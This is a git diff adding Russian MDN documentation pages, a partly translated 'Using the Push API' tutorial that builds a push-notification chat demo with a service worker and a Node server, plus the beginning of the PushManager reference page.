+<p><strong>Примечание</strong>: Ранние версии Firefox OS использовали проприетарную версию этого API вызывая <a href="/en-US/docs/Web/API/Simple_Push_API">Simple Push</a>. Считается устаревшим по стандартам Push API.</p>
+</div>
+
+<h2 id="Демо_основы_простого_сервера_чат-приложения">Демо: основы простого сервера чат-приложения</h2>
+
+<p>Демо, котрые мы создали, представляет начальное описание простого чат-приложения. Оно представляет собой форму, в которую вводятся данные, и кнопку для подписки на push-сообщения . Как только кнопка будет нажата, вы подпишитесь на push-сообщения, ваши данные будут записаны на сервере, а отправленное push-сообщение сообщит всем текущим подписчикам, что кто-то подписался.</p>
+
+<p>На данном этапе, имя нового подписчика появится в списке подписчиков, вместе с текстовым полем и кнопкой рассылки, чтобы позволить подписчику отправить сообщение.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11823/push-api-demo.png" style="border: 1px solid black; display: block; height: 406px; margin: 0px auto; width: 705px;"></p>
+
+<p>Чтобы запустить демо, следуйте инструкциям на странице <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Заметте, что серверная компонента все еще нуждается в небольшой доработке для запуска в Chrome и в общем запусается более разумным путем. Но аспекты Push все еще могут быть полностью понятны; мы углубимся в это после того, как просмотрим технологии в процессе.</p>
+
+<h2 id="Обзор_технологии">Обзор технологии</h2>
+
+<p>Эта секция предоставляет описание того, какие технологии учавствуют в примере.</p>
+
+<p>Web Push-сообщения это часть семейства технологий <a href="/en-US/docs/Web/API/Service_Worker_API">сервис воркеров</a>; в первую очередь, для получения push-сообщений сервис воркер должен быть активирован на странице. Сервис воркер получает push-сообщения, и затем вы сами решаете, как уведомить об этом страницу. Вы можете:</p>
+
+<ul>
+ <li>Отправить <a href="/en-US/docs/Web/API/Notifications_API">Web-уведомление</a>, которое вызовет всплытие системного уведомления. Для этого необходимо подтверждение разрешения на отправку push-сообщений.</li>
+ <li>Отправить сообщение обратно главной странице через {{domxref("MessageChannel")}}.</li>
+</ul>
+
+<p>Обычно необходима комбинация этих двух решений; демо внизу включает пример обоих.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вам необходим некоторый код, запущенный на сервере, для управления конечной точкой/шифроманием данных и отправки запросов push-сообщений. В нашем демо мы собрали на скорую руку сервер, используя <a href="https://nodejs.org/">NodeJS</a>.</p>
+</div>
+
+<p>Сервис воркер так же должен подписаться на сервис push-сообщений. Каждой сессии предоставляется собственная уникальная конечная точка, когда она подписывается на сервис push-сообщений. Эта конечная точка получается из свойства  ({{domxref("PushSubscription.endpoint")}}) объекта подписчика. Она может быть отправлена серверу и использоваться для пересылки сообщений активному сервис воркеру сессии. Каждый браузер имеет свой собсвтенный сервер push-сообщений для  управления отправкой push-сообщений.</p>
+
+<h3 id="Шифрование">Шифрование</h3>
+
+<div class="note">
+<p><strong>Примечание</strong>: Для интерактивного краткого обзора, попробуйте JR Conlin's <a href="https://jrconlin.github.io/WebPushDataTestPage/">Web Push Data Encryption Test Page</a>.</p>
+</div>
+
+<p>Для отправки данных с помошью push-сообщений необходимо шифрование. Для этого необходим публичный ключ, созданный с использованием метода  {{domxref("PushSubscription.getKey()")}}, который основывается на некотором комплексе механизмов шифрования, которые выполняются на стороне сервера; читайте <a href="https://tools.ietf.org/html/draft-ietf-webpush-encryption-01">Message Encryption for Web Push</a>. Со временем появятся библиотеки для управления генерацией ключей и шифроманием/дешифрованием push-сообщений; для этого демо мы используем Marco Castelluccio's NodeJS <a href="https://github.com/marco-c/web-push">web-push library</a>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Есть так же другая библиотека для управления шифрованием с помошью Node и Python, смотри <a href="https://github.com/martinthomson/encrypted-content-encoding">encrypted-content-encoding</a>.</p>
+</div>
+
+<h3 id="Обобщение_рабочего_процесса_Push">Обобщение рабочего процесса Push</h3>
+
+<p>Общие сведения ниже это то, что необходимо для реализации push-сообщений. Вы можете найти больше информации о некоторых частях демо в последующих частях.</p>
+
+<ol>
+ <li>Запрос на разрешение web-уведомлений или что-то другое, что вы используете и для чего необходимо разрешение.</li>
+ <li>Регистрация сервис воркера для контроля над страницей с помошью вызова {{domxref("ServiceWorkerContainer.register()")}}.</li>
+ <li>Подписка на сервис push-уведомлений с помошью {{domxref("PushManager.subscribe()")}}.</li>
+ <li>Запрашивание конечной точки, соответствующей подписчику, и генерация публичного ключа клиента ({{domxref("PushSubscription.endpoint")}} и {{domxref("PushSubscription.getKey()")}}. Заметте, что <code>getKey()</code> на данный момент эксперементальная технологий и доступна только в Firefox.)</li>
+ <li>Отправка данных на сервер, чтобы тот мог присылать push-сообщения, когда необходимо. Это демо использует {{domxref("XMLHttpRequest")}}, но вы можете использовать <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>.</li>
+ <li>Если вы используете <a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> для связи с сервис воркером, установите новый канал связи ({{domxref("MessageChannel.MessageChannel()")}}) и отправте <code>port2</code> сервис воркеру с помошью вызова {{domxref("Worker.postMessage()")}} для того, чтобы открыть канал связи. Вы так же должны настроить слушателя для ответов на сообщения, которые будут отправляться обратно с сервис воркера.</li>
+ <li>На стороне сервера сохраните конечную точку и все остальные необходимые данные, чтобы они были доступны, когда будет необходимо отправить push-сообщение добавленному подписчику (мы используем простой текстовый файл, но вы можете использовать базу данных или все что угодно на ваш вкус). В приложении на продакшене убедитесь, что скрываете эти данные, так что злоумышленники не смогут украсть конечную точку и разослать спам подписчикам в push-сообщениях.</li>
+ <li>Для отправки push-сообщений необходимо отослать HTTP <code>POST</code> конечному URL. Запрос должен включать <code>TTL</code> заголовок, который ограничивает время пребывания сообщения в очереди, если пользователь не в сети. Для добавления полезной информации в запросе, необходимо зашифровать ее (что включает публичнй ключ клиента). В нашем примере мы используем <a href="https://github.com/marco-c/web-push">web-push</a> модуль, который управляет всей тяжелой работой.</li>
+ <li>Поверх в сервис воркере настройте обработчик событий <code>push</code> для ответов на полученные push-сообщения.
+  <ol>
+   <li>Если вы хотите отвечать отправкой сообщения канала обратно основному контексту (смотри шаг 6), необходимо сначала получить ссылку на <code>port2,</code> который был отправлен контексту сервис воркера ({{domxref("MessagePort")}}). Это доступно в объекте  {{domxref("MessageEvent")}}, передаваемого обработчику <code>onmessage </code>({{domxref("ServiceWorkerGlobalScope.onmessage")}}). Конкретнее, он находится в свойстве <code>ports</code>, индекс 0. Когда это сделано, вы можете отправить сообщение обратно <code>port1</code>, используя {{domxref("MessagePort.postMessage()")}}.</li>
+   <li>Если вы хотитет ответить запуском системного уведомления, вы можете сделать это, вызвав {{domxref("ServiceWorkerRegistration.showNotification()")}}. Заметте, что в нашем коде мы вызываем его внутри метода {{domxref("ExtendableEvent.waitUntil()")}} — это растягивает время жизни события, пока уведомление не будет запущено, так что мы можем убедиться, что все, что мы хотели, чтобы произошло, действительно произошло.<span id="cke_bm_307E" style="display: none;"> </span></li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Сборка_демо">Сборка демо</h2>
+
+<p>Давайте пройдемся по коду для демо, чтобы понять, как все работает.</p>
+
+<h3 id="HTML_и_CSS">HTML и CSS</h3>
+
+<p>Нет ничего примечательного в HTML и CSS демо; HTML содержит простую форму для ввода данных для фхода в чат, кнопку для подписки на push-уведомления и двух списков, в которых перечислены подписчики и сообщения чата. После подписки появляются дополнительные средства для того, чтобы пользователь мог ввести сообщение в чат.</p>
+
+<p>CSS был оставлен очень минимальным, чтобы не отвлекать от объяснения того, как функционируют Push API.</p>
+
+<h3 id="Основной_файл_JavaScript">Основной файл JavaScript</h3>
+
+<p> JavaScript очевидно намного более существенный. Давайте взглянем на основной файл JavaScript.</p>
+
+<h4 id="Переменные_и_начальные_настройки">Переменные и начальные настройки</h4>
+
+<p>Для начала определим некоторые переменные, которые будем использовать в нашем приложении:</p>
+
+<pre class="brush: js">var isPushEnabled = false;
+var useNotifications = false;
+
+var subBtn = document.querySelector('.subscribe');
+var sendBtn;
+var sendInput;
+
+var controlsBlock = document.querySelector('.controls');
+var subscribersList = document.querySelector('.subscribers ul');
+var messagesList = document.querySelector('.messages ul');
+
+var nameForm = document.querySelector('#form');
+var nameInput = document.querySelector('#name-input');
+nameForm.onsubmit = function(e) {
+  e.preventDefault()
+};
+nameInput.value = 'Bob';</pre>
+
+<p>Сначала нам необходимо создать две булевы переменные, для того чтобы отслеживать подписку на push-сообщения и подтверждение разрешения на рассылку уведомлений.</p>
+
+<p>Далее, мы перехватываем ссылку на {{htmlelement("button")}} подписки/отписки и задаем переменные для сохранения ссылок на наши кнопку отправки сообщения/ввода (который создастся только после успешной подписки).<br>
+ <br>
+ Следующие переменные перехватывают ссылки на три основные {{htmlelement("div")}} элемента, так что мы можем включить в них элементы (к примеру, когда появится кнопка <em>Отправки Сообщения Чата</em> или сообщение появится с писке <em>Сообщений</em>).</p>
+
+<p>Finally we grab references to our name selection form and {{htmlelement("input")}} element, give the input a default value, and use <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> to stop the form submitting when the form is submitted by pressing return.</p>
+
+<p>Next, we request permission to send web notifications, using {{domxref("Notification.requestPermission","requestPermission()")}}:</p>
+
+<pre class="brush: js">Notification.requestPermission();</pre>
+
+<p>Now we run a section of code when <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code> is fired, to start up the process of inialising the app when it is first loaded. First of all we add a click event listener to the subscribe/unsubscribe button that runs our <code>unsubscribe()</code> function if we are already subscribed (<code>isPushEnabled</code> is <code>true</code>), and <code>subscribe()</code> otherwise:</p>
+
+<pre class="brush: js">window.addEventListener('load', function() {
+  subBtn.addEventListener('click', function() {
+    if (isPushEnabled) {
+      unsubscribe();
+    } else {
+      subscribe();
+    }
+  });</pre>
+
+<p>Next we check to see if service workers are supported. If so, we register a service worker using {{domxref("ServiceWorkerContainer.register()")}}, and run our <code>initialiseState()</code> function. If not, we deliver an error message to the console.</p>
+
+<pre class="brush: js">  // Check that service workers are supported, if so, progressively
+  // enhance and add push messaging support, otherwise continue without it.
+  if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('sw.js').then(function(reg) {
+      if(reg.installing) {
+        console.log('Service worker installing');
+      } else if(reg.waiting) {
+        console.log('Service worker installed');
+      } else if(reg.active) {
+        console.log('Service worker active');
+      }
+
+      initialiseState(reg);
+    });
+  } else {
+    console.log('Service workers aren\'t supported in this browser.');
+  }
+});
+</pre>
+
+<p>The next thing in the source code is the <code>initialiseState()</code> function — for the full commented code, look at the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js"><code>initialiseState()</code> source on Github</a> (we are not repeating it here for brevity's sake.)</p>
+
+<p><code>initialiseState()</code> first checks whether notifications are supported on service workers, then sets the <code>useNotifications</code> variable to <code>true</code> if so. Next, it checks whether said notifications are permitted by the user, and if push messages are supported, and reacts accordingly to each.</p>
+
+<p>Finally, it uses {{domxref("ServiceWorkerContainer.ready()")}} to wait until the service worker is active and ready to start doing things. Once its promise resolves, we retrieve our subscription to push messaging using the {{domxref("ServiceWorkerRegistration.pushManager")}} property, which returns a {{domxref("PushManager")}} object that we then call {{domxref("PushManager.getSubscription()")}} on. Once this second inner promise resolves, we enable the subscribe/unsubscribe button (<code>subBtn.disabled = false;</code>), and check that we have a subscription object to work with.</p>
+
+<p>If we do, then we are already subscribed. This is possible when the app is not open in the browser; the service worker can still be active in the background. If we're subscribed, we update the UI to show that we are subscribed by updating the button label, then we set <code>isPushEnabled</code> to <code>true</code>, grab the subscription endpoint from {{domxref("PushSubscription.endpoint")}}, generate a public key using {{domxref("PushSubscription.getKey()")}}, and run our <code>updateStatus()</code> function, which as you'll see later communicates with the server.</p>
+
+<p>As an added bonus, we set up a new {{domxref("MessageChannel")}} using the {{domxref("MessageChannel.MessageChannel()")}} constructor, grab a reference to the active service worker using {{domxref("ServiceworkerRegistration.active")}}, then set up a channel betweeen the main browser context and the service worker context using {{domxref("Worker.postMessage()")}}. The browser context receives messages on {{domxref("MessageChannel.port1")}}; whenever that happens, we run the <code>handleChannelMessage()</code> function to decide what to do with that data (see the {{anch("Handling channel messages sent from the service worker")}} section).</p>
+
+<h4 id="Subscribing_and_unsubscribing">Subscribing and unsubscribing</h4>
+
+<p>Let's now turn our attention to the <code>subscribe()</code> and <code>unsubscribe()</code> functions used to subscribe/unsubscribe to the push notification service.</p>
+
+<p>In the case of subscription, we again check that our service worker is active and ready by calling {{domxref("ServiceWorkerContainer.ready()")}}. When the promise resolves, we subscribe to the service using {{domxref("PushManager.subscribe()")}}. If the subscription is successful, we get a {{domxref("PushSubscription")}} object, extract the subscription endpoint from this and generate a public key (again, {{domxref("PushSubscription.endpoint")}} and {{domxref("PushSubscription.getKey()")}}), and pass them to our <code>updateStatus()</code> function along with the update type (<code>subscribe</code>) to send the necessary details to the server.</p>
+
+<p>We also make the necessary updates to the app state (set <code>isPushEnabled</code> to <code>true</code>) and UI (enable the subscribe/unsubscribe button and set its label text to show that the next time it is pressed it will unsubscribe.)</p>
+
+<p>The <code>unsubscribe()</code> function is pretty similar in structure, but it basically does the opposite; the most notable difference is that it gets the current subscription using {{domxref("PushManager.getSubscription()")}}, and when that promise resolves it unsubscribes using {{domxref("PushSubscription.unsubscribe()")}}.</p>
+
+<p>Appropriate error handling is also provided in both functions.  </p>
+
+<p>We only show the <code>subscribe()</code> code below, for brevity; see the full <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js">subscribe/unsubscribe code on Github</a>.</p>
+
+<pre class="brush: js">function subscribe() {
+  // Disable the button so it can't be changed while
+  // we process the permission request
+
+  subBtn.disabled = true;
+
+  navigator.serviceWorker.ready.then(function(reg) {
+    reg.pushManager.subscribe({userVisibleOnly: true})
+      .then(function(subscription) {
+        // The subscription was successful
+        isPushEnabled = true;
+        subBtn.textContent = 'Unsubscribe from Push Messaging';
+        subBtn.disabled = false;
+
+        // Update status to subscribe current user on server, and to let
+        // other users know this user has subscribed
+        var endpoint = subscription.endpoint;
+        var key = subscription.getKey('p256dh');
+        updateStatus(endpoint,key,'subscribe');
+      })
+      .catch(function(e) {
+        if (Notification.permission === 'denied') {
+          // The user denied the notification permission which
+          // means we failed to subscribe and the user will need
+          // to manually change the notification permission to
+          // subscribe to push messages
+          console.log('Permission for Notifications was denied');
+
+        } else {
+          // A problem occurred with the subscription, this can
+          // often be down to an issue or lack of the gcm_sender_id
+          // and / or gcm_user_visible_only
+          console.log('Unable to subscribe to push.', e);
+          subBtn.disabled = false;
+          subBtn.textContent = 'Subscribe to Push Messaging';
+        }
+      });
+  });
+}</pre>
+
+<h4 id="Updating_the_status_in_the_app_and_server">Updating the status in the app and server</h4>
+
+<p>The next function in our main JavaScript is <code>updateStatus()</code>, which updates the UI for sending chat messages when subscribing/unsubscribing and sends a request to update this information on the server.</p>
+
+<p>The function does one of three different things, depending on the value of the <code>statusType</code> parameter passed into it:</p>
+
+<ul>
+ <li><code>subscribe</code>: The button and text input for sending chat messages are created and inserted into the UI, and an object is sent to the server via XHR containing the status type (<code>subscribe</code>), username of the subscriber, subscription endpoint, and client public key.</li>
+ <li><code>unsubscribe</code>: This basically works in the opposite way to subscribe — the chat UI elements are removed, and an object is sent to the server to tell it that the user has unsubscribed.</li>
+ <li><code>init</code>: This is run when the app is first loaded/initialised — it creates the chat UI elements, and sends an object to the server to tell it that which user has reinitialised (reloaded.)</li>
+</ul>
+
+<p>Again, we have not included the entire function listing for brevity. Examine the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js">full <code>updateStatus()</code> code on Github</a>.</p>
+
+<h4 id="Handling_channel_messages_sent_from_the_service_worker">Handling channel messages sent from the service worker</h4>
+
+<p>As mentioned earlier, when a <a href="/en-US/docs/Web/API/Channel_Messaging_API">channel message</a> is received from the service worker, our <code>handleChannelMessage()</code> function is called to handle it. This is done by our handler for the {{event("message")}} event, {{domxref("channel.port1.onmessage")}}:</p>
+
+<pre class="brush: js">channel.port1.onmessage = function(e) {
+  handleChannelMessage(e.data);
+}</pre>
+
+<p>This occurs when the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/sw.js#L8">service worker sends a channel message over</a>.</p>
+
+<p>The <code>handleChannelMessage()</code> function looks like this:</p>
+
+<pre class="brush: js">function handleChannelMessage(data) {
+  if(data.action === 'subscribe' || data.action === 'init') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name;
+    subscribersList.appendChild(listItem);
+  } else if(data.action === 'unsubscribe') {
+    for(i = 0; i &lt; subscribersList.children.length; i++) {
+      if(subscribersList.children[i].textContent === data.name) {
+        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
+      }
+    }
+    nameInput.disabled = false;
+  } else if(data.action === 'chatMsg') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name + ": " + data.msg;
+    messagesList.appendChild(listItem);
+    sendInput.value = '';
+  }
+}</pre>
+
+<p>What happens here depends on what the <code>action</code> property on the <code>data</code> object is set to:</p>
+
+<ul>
+ <li><code>subscribe</code> or <code>init</code> (at both startup and restart, we need to do the same thing in this sample): An {{htmlelement("li")}} element is created, its text content is set to <code>data.name</code> (the name of the subscriber), and it is appended to the subscribers list (a simple {{htmlelement("ul")}} element) so there is visual feedback that a subscriber has (re)joined the chat.</li>
+ <li><code>unsubscribe</code>: We loop through the children of the subscribers list, find the one whose text content is equal to <code>data.name</code> (the name of the unsubscriber), and delete that node to provide visual feedback that someone has unsubscribed.</li>
+ <li><code>chatMsg</code>: In a similar manner to the first case, an {{htmlelement("li")}} element is created, its text content is set to <code>data.name + ": " + data.msg</code> (so for example "Chris: This is my message"), and it is appended to the chat messages list; this is how the chat messages appear on the UI for each user.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: We have to pass the data back to the main context before we do DOM updates because service workers don't have access to the DOM. You should be aware of the limitations of service workers before attemping to ue them. Read <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a> for more details.</p>
+</div>
+
+<h4 id="Sending_chat_messages">Sending chat messages</h4>
+
+<p>When the <em>Send Chat Message</em> button is clicked, the content of the associated text field is sent as a chat message. This is handled by the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js"><code>sendChatMessage()</code> function</a> (again, not shown in full for brevity). This works in a similar way to the different parts of the <code>updateStatus()</code> function (see {{anch("Updating the status in the app and server")}}) — we retrieve an endpoint and public key via a {{domxref("PushSubscription")}} object, which is itself retrieved via {{domxref("ServiceWorkerContainer.ready()")}} and {{domxref("PushManager.subscribe()")}}. These are sent to the server via {{domxref("XMLHttpRequest")}} in a message object, along with the name of the subscribed user, the chat message to send, and a <code>statusType</code> of <code>chatMsg</code>.</p>
+
+<h3 id="The_server">The server</h3>
+
+<p>As mentioned above, we need a server-side component in our app, to handle storing subscription details, and send out push messages when updates occur. We've hacked together a quick-and-dirty server using <a href="http://nodejs.org/">NodeJS</a> (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/server.js">server.js</a></code>), which handles the XHR requests sent by our client-side JavaScript code.</p>
+
+<p>It uses a text file (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/endpoint.txt">endpoint.txt</a></code>) to store subscription details; this file starts out empty. There are four different types of request, marked by the <code>statusType</code> property of the object sent over in the request; these are the same as those understood client-side, and perform the required server actions for that same situation. Here's what each means in the context of the server:</p>
+
+<ul>
+ <li><code>subscribe</code>: The server adds the new subscriber's details into the subscription data store (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/endpoint.txt">endpoint.txt</a></code>), including the endpoint, and then sends a push message to all the endpoints it has stored to tell each subscriber that someone new has joined the chat.</li>
+ <li><code>unsubscribe</code>: The server finds the sending subscriber's details in the subscription store and removes it, then sends a push message to all remaining subscribers telling them the user has unsubscribed.</li>
+ <li><code>init</code>: The server reads all the current subscribers from the text file, and sends each one a push message to tell them a user has initialized (rejoined) the chat.</li>
+ <li><code>chatMsg</code>: Sent by a subscriber that wishes to deliver a message to all users; the server reads the list of all current subscribers from the subscription store file, then sends each one a push message containing the new chat message they should display.</li>
+</ul>
+
+<p>A couple more things to note:</p>
+
+<ul>
+ <li>We are using the Node.js <a href="https://nodejs.org/api/https.html">https module</a> to create the server, because for security purposes, service workers only work on a secure connection. This is why we need to include the <code>.pfx</code> security cert in the app, and reference it when creating the server in the Node code.</li>
+ <li>When you send a push message without data, you simply send it to the endpoint URL using an HTTP <code>POST</code> request. However, when the push message contains data, you need to encrypt it, which is quite a complex process. As time goes on, libraries will appear to do this kind of thing for you; for this demo we used Marco Castelluccio's NodeJS <a href="https://github.com/marco-c/web-push">web-push library</a>. Have a look at the source code to get more of an idea of how the encryption is done (and read <a href="https://tools.ietf.org/html/draft-ietf-webpush-encryption-01">Message Encryption for Web Push</a> for more details.) The library <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/server.js#L43-L46">makes sending a push message simple</a>.</li>
+</ul>
+
+<h3 id="The_service_worker">The service worker</h3>
+
+<p>Now let's have a look at the service worker code (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/sw.js">sw.js</a></code>), which responds to the push messages, represented by {{Event("push")}} events. These are handled on the service worker's scope by the ({{domxref("ServiceWorkerGlobalScope.onpush")}}) event handler; its job is to work out what to do in response to each received message. We first convert the received message back into an object by calling {{domxref("PushMessageData.json()")}}. Next, we check what type of push message it is, by looking at the object's <code>action</code> property:</p>
+
+<ul>
+ <li><code>subscribe</code> or <code>unsubscribe</code>: We send a system notification via the <code>fireNotification()</code> function, but also send a message back to the main context on our {{domxref("MessageChannel")}} so we can update the subscriber list accordingly (see {{anch("Handling channel messages sent from the service worker")}} for more details).</li>
+ <li><code>init</code> or <code>chatMsg</code>: We just send a channel message back to the main context to handle the <code>init</code> and <code>chatMsg</code> cases (these don't need a system notification).</li>
+</ul>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});</pre>
+
+<p>Next, let's look at the <code>fireNotification()</code> function (which is blissfully pretty simple).</p>
+
+<pre class="brush: js">function fireNotification(obj, event) {
+  var title = 'Subscription change';
+  var body = obj.name + ' has ' + obj.action + 'd.';
+  var icon = 'push-icon.png';
+  var tag = 'push';
+
+  event.waitUntil(self.registration.showNotification(title, {
+    body: body,
+    icon: icon,
+    tag: tag
+  }));
+}</pre>
+
+<p>Here we assemble the assets needed by the notification box: the title, body, and icon. Then we send a notification via the {{domxref("ServiceWorkerRegistration.showNotification()")}} method, providing that information as well as the tag "push", which we can use to identify this notification among any other notifications we might be using. When the notification is successfully sent, it manifests as a system notification dialog on the users computers/devices in whatever style system notifications look like on those systems (the following image shows a Mac OSX system notification.)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11855/subscribe-notification.png" style="display: block; height: 65px; margin: 0px auto; width: 326px;"></p>
+
+<p>Note that we do this from inside an {{domxref("ExtendableEvent.waitUntil()")}} method; this is to make sure the service worker remains active until the notification has been sent. <code>waitUntil()</code> will extend the life cycle of the service worker until everything inside this method has completed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as <code>Clients.openWindow()</code>) is properly implemented (see {{bug(1203324)}} for more details.)</p>
+</div>
+
+<h2 id="Handling_premature_subscription_expiration">Handling premature subscription expiration</h2>
+
+<p>Sometimes push subscriptions expire prematurely, without {{domxref("PushSubscription.unsubscribe()")}} being called. This can happen when the server gets overloaded, or if you are offline for a long time, for example.  This is highly server-dependent, so the exact behavior is difficult to predict. In any case, you can handle this problem by watching for the {{Event("pushsubscriptionchange")}} event, which you can listen for by providing a {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} event handler; this event is fired only in this specific case.</p>
+
+<pre class="brush: js  language-js"><code class="language-js">self<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'pushsubscriptionchange'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // do something, usually resubscribe to push and
+</span> <span class="comment token"> // send the new subscription details back to the
+</span> <span class="comment token"> // server via XHR or Fetch
+</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Note that we don't cover this case in our demo, as a subscription ending is not a big deal for a simple chat server. But for a more complex example you'd probably want to resubscribe the user.</p>
+
+<h2 id="Extra_steps_for_Chrome_support">Extra steps for Chrome support</h2>
+
+<p>To get the app working on Chrome, we need a few extra steps, as Chrome currently relies on Google's Cloud Messaging service to work.</p>
+
+<h3 id="Setting_up_Google_Cloud_Messaging">Setting up Google Cloud Messaging</h3>
+
+<p>To get this set up, follow these steps:</p>
+
+<ol>
+ <li>Navigate to the <a href="https://console.developers.google.com">Google Developers Console</a>  and set up a new project.</li>
+ <li>Go to your project's homepage (ours is at <code>https://console.developers.google.com/project/push-project-978</code>, for example), then
+  <ol>
+   <li>Select the <em>Enable Google APIs for use in your apps</em> option.</li>
+   <li>In the next screen, click <em>Cloud Messaging for Android</em> under the <em>Mobile APIs</em> section.</li>
+   <li>Click the <em>Enable API</em> button.</li>
+  </ol>
+ </li>
+ <li>Now you need to make a note of your project number and API key because you'll need them later. To find them:
+  <ol>
+   <li><strong>Project number</strong>: click <em>Home</em> on the left; the project number is clearly marked at the top of your project's home page.</li>
+   <li><strong>API key</strong>: click <em>Credentials</em> on the left hand menu; the API key can be found on that screen.</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>You need to include a Google app-style <code>manifest.json</code> file in your app, which references the project number you made a note of earlier in the <code>gcm_sender_id</code> parameter. Here is our simple example <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/manifest.json">manifest.json</a>:</p>
+
+<pre class="brush: js">{
+  "name": "Push Demo",
+  "short_name": "Push Demo",
+  "icons": [{
+        "src": "push-icon.png",
+        "sizes": "111x111",
+        "type": "image/png"
+      }],
+  "start_url": "/index.html",
+  "display": "standalone",
+  "gcm_sender_id": "224273183921"
+}</pre>
+
+<p>You also need to reference your manifest using a {{HTMLElement("link")}} element in your HTML:</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="manifest.json"&gt;</pre>
+
+<h3 id="userVisibleOnly">userVisibleOnly</h3>
+
+<p>Chrome requires you to set the <a href="/en-US/docs/Web/API/PushManager/subscribe#Parameters"><code>userVisibleOnly</code> parameter</a> to <code>true</code> when subscribing to the push service, which indicates that we are promising to show a notification whenever a push is received. This can be <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js#L127">seen in action in our <code>subscribe()</code> function</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API">Push API</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in <a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>. Thanks for the awesome work, Matt!</p>
+</div>
diff --git a/files/ru/web/api/pushmanager/index.html b/files/ru/web/api/pushmanager/index.html
new file mode 100644
index 0000000000..bf1815769e
--- /dev/null
+++ b/files/ru/web/api/pushmanager/index.html
@@ -0,0 +1,115 @@
+---
+title: PushManager
+slug: Web/API/PushManager
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Push
+  - Push API
+  - Reference
+  - Référence(2)
+  - Service Workers
+  - TopicStub
+translation_of: Web/API/PushManager
+---
+<p>{{SeeCompatTable}}{{ApiRef("Push API")}}</p>
+
+<p>Интерфейс <code>PushManager</code> из <a href="/en-US/docs/Web/API/Push_API">Push API</a> предоставляет возможность получать уведомления от сторонних серверов, а также запрашивать URL для push уведомлений.</p>
+
+<p>Этот интерфейс доступен через свойство {{domxref("ServiceWorkerRegistration.pushManager")}}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Этот интерфейс заменил функциональность, предлагаемую устаревшим {{domxref("PushRegistrationManager")}}.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.supportedContentEncodings")}}</dt>
+ <dd>Возвращает массив со списком возможных алгоритмов кодирования, которые могут быть использованы для шифрования полезной нагрузки пуш-уведомления.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.subscribe()")}}</dt>
+ <dd>Подписка на пуш сервис. Возвращает промис, который разрешается в {{domxref("PushSubscription")}} объект, содержащий детали новой push подписки.</dd>
+ <dt>{{domxref("PushManager.getSubscription()")}}</dt>
+ <dd>Извлекает существующую push подписку. Возвращает промис, который разрешается в {{domxref("PushSubscription")}} объект, содержащий детали существующей подписки.</dd>
+ <dt>{{domxref("PushManager.permissionState()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который разрешается в состояние доступа текущего {{domxref("PushManager")}}, которое может быть одним из <code>'granted'</code>, <code>'denied'</code>, или <code>'default'</code>.</dd>
+</dl>
+
+<h3 id="Устаревшие_методы">Устаревшие методы</h3>
+
+<dl>
+ <dt>{{domxref("PushManager.hasPermission()")}}</dt>
